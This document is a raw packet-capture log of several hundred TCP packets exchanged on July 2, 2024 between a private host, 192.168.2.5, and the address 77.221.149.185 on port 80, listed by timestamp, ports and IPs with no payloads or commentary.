Jul 2, 2024 22:52:26.454586983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.454596043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.454596043 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.454605103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.454613924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.454623938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.454626083 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.454633951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.454643011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.454651117 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.454652071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.454660892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.454670906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.454670906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.454693079 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.454716921 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.455404043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.455413103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.455421925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.455431938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.455441952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.455451012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.455460072 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.455461025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.455471992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.455481052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.455482006 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.455490112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.455501080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.455511093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.455518961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.455523014 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.455548048 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.456204891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.456218004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.456228971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.456238031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.456243992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.456248045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.456253052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.456262112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.456264973 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.456270933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.456279993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.456289053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.456299067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.456300020 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.456309080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.456319094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.456327915 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.456329107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.456337929 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.456374884 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.457169056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.457180023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.457187891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.457196951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.457210064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.457211018 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.457220078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.457228899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.457237959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.457240105 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.457247972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.457257032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.457257986 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.457268000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.457278013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.457278013 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.457283020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.457293034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.457300901 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.457303047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.457313061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.457324028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.457328081 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.457353115 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.458133936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.458143950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.458153009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.458162069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.458170891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.458173990 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.458180904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.458192110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.458198071 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.458201885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.458211899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.458221912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.458231926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.458235025 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.458241940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.458250999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.458251953 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.458261013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.458272934 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.458275080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.458281994 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.458286047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.458296061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.458322048 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.458347082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.492350101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.492362976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.492372036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.492444038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.492499113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.492506981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.492506981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.492510080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.492518902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.492552996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.538944006 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.541481018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.541495085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.541507006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.541596889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.541605949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.541620016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.541630983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.541641951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.541646957 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.541646957 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.541651011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.541672945 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.541695118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.541846991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.541862011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.541872978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.541882038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.541887045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.541887045 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.541898012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.541913986 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.541949034 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.542242050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.542253017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.542262077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.542272091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.542284012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.542284966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.542293072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.542304039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.542305946 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.542331934 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.542361021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.542525053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.542624950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.542635918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.542644978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.542656898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.542659998 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.542666912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.542684078 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.542714119 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.542887926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.542898893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.542934895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.542946100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.542946100 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.542956114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.542965889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.542982101 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.543004036 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.543356895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.543370962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.543384075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.543392897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.543401957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.543406010 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.543411970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.543421984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.543430090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.543433905 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.543440104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.543459892 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.543914080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.543924093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.543932915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.543941975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.543951035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.543958902 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.543965101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.543975115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.543984890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.543992996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.543994904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.544003963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.544013023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.544020891 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.544037104 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.544075012 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.544600010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.544609070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.544617891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.544627905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.544637918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.544646978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.544656038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.544658899 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.544663906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.544675112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.544683933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.544692993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.544692993 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.544702053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.544708967 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.544713020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.544722080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.544727087 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.544732094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.544740915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.544760942 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.544778109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.545576096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.545586109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.545595884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.545604944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.545614004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.545624018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.545633078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.545634031 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.545643091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.545653105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.545661926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.545667887 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.545670986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.545681000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.545685053 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.545690060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.545698881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.545702934 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.545708895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.545720100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.545730114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.545732021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.545738935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.545758009 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.545779943 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.546346903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.546359062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.546369076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.546377897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.546387911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.546396971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.546405077 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.546406031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.546416044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.546426058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.546433926 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.546436071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.546444893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.546454906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.546463966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.546473980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.546475887 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.546485901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.546498060 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.546500921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.546509981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.546511889 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.546519041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.546528101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.546542883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.546578884 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.547103882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.547113895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.547142982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.581047058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.581082106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.581099033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.581140041 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.581140041 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.581218004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.581228971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.581247091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.581259966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.581278086 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.581302881 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.581402063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.632724047 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.633171082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.633203030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.633213997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.633263111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.633332968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.633343935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.633352995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.633368969 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.633397102 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.633446932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.633456945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.633466005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.633476019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.633502960 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.633522987 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.633568048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.633678913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.633690119 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.633698940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.633708954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.633713961 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.633718967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.633739948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.633770943 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.633943081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.633961916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.633970976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.633981943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.633994102 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.634017944 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.634124041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.634135962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.634145975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.634157896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.634171963 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.634205103 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.636423111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636436939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636445999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636456966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636466026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636473894 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.636476040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636497021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636508942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636517048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636519909 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.636535883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:26.636552095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636562109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636569977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:26.636579037 CEST	80	49712	77.221.149.185	192.168.2.5
